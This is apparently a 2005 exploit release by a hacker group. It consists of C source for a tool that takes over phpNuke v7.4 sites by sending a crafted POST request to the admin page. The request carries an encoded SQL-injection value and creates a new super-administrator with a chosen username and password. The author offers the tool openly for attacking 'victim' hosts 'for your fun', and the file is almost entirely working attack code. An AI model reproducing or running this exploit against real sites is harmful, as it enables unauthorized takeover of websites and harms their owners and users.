Hi, I'm Silentium of the Anacron Group Italy,,.
I have write an exploit for phpNuke v7.4
this exploit add an admin user on cms..(old vuln)..

AUTHOR: Silentium
GROUP: Anacron Group Italy
SITE: http://www.autistici.org/anacron-group-italy
LINK: http://www.autistici.org/anacron-group-italy/file/source/silePNUKExpl_v7.4.c

For contact me:
anacrongroupitaly[at]autistici[dot]org


/****************************************************
*                                                   *
* phpNUKE v7.4 exploit                              *
*                                                   *
* this exploit create new admin with relative       *
* passwd that you specified on parameter of exploit *
* you take administrative control of the webPortal  *
*                                                   *
* Reverences: http://www.osvdb.org/9563             *
*                                                   *
* coded by: Silentium of Anacron Group Italy        *
*      date: 07/02/2005                             *
*    e-mail: anacrongroupitaly[at]autistici[dot]org *
*   my_home: www.autistici.org/anacron.group-italy  *
*                                                   *
* this tool is developed under GPL license          *
* no(c) .:. copyleft                                *
*                                                   *
****************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 80         // port of web server

void info(void);
void sendxpl(FILE *out, char *argv[]);
void errsock(void);
void errgeth(void);
void errconn(char *argv[]);

int main(int argc, char *argv[]){

FILE *out;
int sock, sockconn;
struct sockaddr_in addr;
struct hostent *hp;

if(argc!=5)
   info();

if((sock = socket(AF_INET,SOCK_STREAM,0)) < 0)
   errsock();

   system("clear");
   printf("[*] Creating socket          [OK]\n");

if((hp = gethostbyname(argv[1])) == NULL)
   errgeth();

   printf("[*] Resolving victim host    [OK]\n");

memset(&addr,0,sizeof(addr));
memcpy((char *)&addr.sin_addr,hp->h_addr,hp->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);

sockconn = connect(sock,(struct sockaddr *)&addr,sizeof(addr));
if(sockconn < 0)
   errconn(argv);

   printf("[*] Connecting at victim host   [OK]\n");

out = fdopen(sock,"a");
setbuf(out,NULL);

sendxpl(out,argv);

   printf("[*] Now check your username and password\n"
          "    on http://%s%s\n\n",argv[1],argv[2]);

shutdown(sockconn,2);
close(sockconn);

return 0;

}


void info(void){

system("clear");
printf("#########################################\n"
       "# phpNUKE v7.4 exploit                  #\n"
       "#########################################\n"
       "# this exploit create an admin with     #\n"
       "# the relative password, for your fun.  #\n"
       "# exploit coded by Silentium            #\n"
       "# Anacron Group Italy                   #\n"
       "# www.autistici.org/anacron-group-italy #\n"
       "#########################################\n\n"
       "[Use]\n\n"
       " silePNUKExpl <victim_host> <path_adminpage> <username> <password>\n\n"
       "[example]\n\n"
       " silePNUKExpl www.victim.com /admin.php sile silePass\n\n");
exit(1);

}


void sendxpl(FILE *out, char *argv[]){

int size = 145;

size+=sizeof(argv[3]);
size+=sizeof(argv[4]);

    fprintf(out,"POST %s HTTP/1.0\n"
                "Connection: Keep-Alive\n"
                "Pragma: no-cache\n"
                "Cache-control: no-cache\n"
"Accept: text/html, image/jpeg, image/png, text/*, image/*, */*\n"
                "Accept-Encoding: x-gzip, x-deflate, gzip, deflate, identity\n"
                "Accept-Charset: iso-8859-1, utf-8;q=0.5, *;q=0.5\n"
                "Accept-Language: en\n"
                "Host: %s\n"
                "Content-Type: application/x-www-form-urlencoded\n"
                "Content-Length: %d\n\n"
                "add_aid=%s&add_name=morte&add_pwd=%s&add_email=email%%40mail.com&admin="
                "eCcgVU5JT04gU0VMRUNUIDEvKjox&add_radminsuper=1&op=AddAuthor&Submit="
                "Create+Admin\n\n",argv[2],argv[1],size,argv[3],argv[4]);

                 printf("[*] Sending exploit            [OK]\n\n");

}


void errsock(void){

system("clear");
printf("[x] Creating socket     [FAILED]\n\n");
exit(1);

}


void errgeth(void){

printf("[x] Resolving victim host       [FAILED]\n\n");
exit(1);

}


void errconn(char *argv[]){

printf("[x] Connecting at victim host   [FAILED]\n\n",argv[1]);
exit(1);

}